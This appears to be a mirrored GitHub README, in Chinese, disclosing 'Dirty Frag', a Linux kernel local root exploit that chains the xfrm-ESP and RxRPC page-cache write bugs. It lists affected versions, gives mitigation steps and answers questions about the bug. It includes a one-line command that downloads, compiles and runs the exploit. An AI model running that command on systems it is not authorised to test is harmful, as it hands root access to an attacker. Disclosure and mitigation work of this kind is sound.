H4zaz/DirtyFrag-Linux-Kernel-Local-Privilege-Escalation-Educational-Mirror-

GitHub: H4zaz/DirtyFrag-Linux-Kernel-Local-Privilege-Escalation-Educational-Mirror-

Linux 内核本地提权 PoC,链式利用 xfrm-ESP 和 RxRPC 两个页缓存写入漏洞,在主流发行版上确定性获取 root 权限。

Stars: 0 | Forks: 0

# Dirty Frag:通用 Linux LPE

tux

# 摘要 ![tux](https://raw.githubusercontent.com/H4zaz/DirtyFrag-Linux-Kernel-Local-Privilege-Escalation-Educational-Mirror-/main/assets/demo.gif) 本文档描述了由 [Hyunwoo Kim (@v4bel)](https://x.com/v4bel) 首次发现并报告的 Dirty Frag 漏洞类别,该漏洞可通过链式利用 `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 漏洞和 `RxRPC Page-Cache Write (CVE-2026-43500)` 漏洞,在主流 Linux 发行版上获取 root 权限。 Dirty Frag 是对 [Dirty Pipe](https://dirtypipe.cm4all.com/) 和 [Copy Fail](https://copy.fail/) 所属漏洞类别的扩展案例。由于这是一个不依赖于时间窗口的确定性逻辑漏洞,因此不需要进行条件竞争,在漏洞利用失败时内核不会发生 panic,且成功率极高。 有关详细的技术信息和时间线,[请参见此处](assets/write-up.md)。 - `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 已在主线版本 [f4c50a4034e6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4) 中修补。 - `RxRPC Page-Cache Write (CVE-2026-43500)` 已在主线版本 [aa54b1d27fe0](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71) 中修补。 # 漏洞利用 ## 一行特制命令 ``` git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp ``` 此 PoC(概念验证)是在与 linux-distros 沟通后提供的准确信息。请勿在未经授权测试的系统上使用。 ## 清理 ⚠️ **重要:** 运行此漏洞利用程序后,页缓存会被污染。要清除受污染的页缓存并确保系统稳定性,请运行: ``` echo 3 > /proc/sys/vm/drop_caches ``` 或重新启动系统。 # 受影响的版本 - **CVE-2026-43284**:xfrm-ESP Page-Cache Write 漏洞影响范围从 [cac2661c53f3 (2017-01-17)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f3) 至 [f4c50a4034e6 (2026-05-05)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4)。 - **CVE-2026-43500**:RxRPC Page-Cache Write 漏洞影响范围从 [2dc334f1a63a (2023-06-08)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2dc334f1a63a) 至 [aa54b1d27fe0 (2026-05-10)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71)。 换言之,这些漏洞的有效生命周期约为 9 年。 此 Dirty Frag 已在以下发行版版本上进行了测试。 - Ubuntu 24.04.4: 6.17.0-23-generic - RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 - openSUSE Tumbleweed: 7.0.2-1-default - CentOS Stream 10: 6.12.0-224.el10.x86_64 - AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 - Fedora 44: 6.19.14-300.fc44.x86_64 - ... # 缓解措施 1. 使用以下命令移除存在漏洞的模块并清理页缓存。 ``` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true" ``` 2. 一旦各发行版回移了补丁,请相应地进行更新。 # 常见问题解答 ## 为什么你要将两个漏洞链式利用? xfrm-ESP Page-Cache Write 提供了类似 Copy Fail 的强大任意 4 字节 STORE(存储)原语,并且包含在大多数发行版中,但它需要创建 namespace 的权限。 Ubuntu 有时会通过 AppArmor 策略阻止无特权用户 namespace 的创建。在这种环境下,xfrm-ESP Page-Cache Write 无法被触发。RxRPC Page-Cache Write 不需要创建 namespace 的权限,但大多数发行版本身并不包含 `rxrpc.ko` 模块。然而,在 Ubuntu 上,`rxrpc.ko` 模块是默认加载的。 将这两个变种链式利用可以互相覆盖各自的利用盲区,从而允许在所有主流发行版上获取 root 权限。有关详细信息,请参阅技术细节文档。 ## 又一个“冠名”的“Dirty”系列? 是的,是的,我知道。然而,这个漏洞是“Dirty Pipe”的衍生,并且它是一个会“弄脏” `struct sk_buff` 的 `frag` 成员的漏洞类别,因此这个名字是最合适的。 ## 它与“Copy Fail”漏洞有什么关系? Copy Fail 是开展此项研究的动机。特别是,Dirty Frag 漏洞链中的 xfrm-ESP Page-Cache Write 与 Copy Fail 共享相同的漏洞汇聚点。然而,无论 algif_aead 模块是否可用,它都可以被触发。换言之,即使在应用了公开已知的 Copy Fail 缓解措施(algif_aead 黑名单)的系统上,你的 Linux 依然容易受到 Dirty Frag 的攻击。 ## 那么,我该如何修复我的 Linux? 请参考上面的缓解措施部分。
标签:0day, CVE-2026-43284, CVE-2026-43500, Dirty Frag, Dirty Pipe, Exploit, LPE, meg, Page Cache, PoC, RxRPC, Web报告查看器, xfrm-ESP, 信息安全, 内存破坏, 内核漏洞, 子域名枚举, 安全渗透, 客户端加密, 提权, 暴力破解, 本地提权, 漏洞分析, 漏洞复现, 系统安全, 网络安全, 路径探测, 隐私保护, 黑客攻防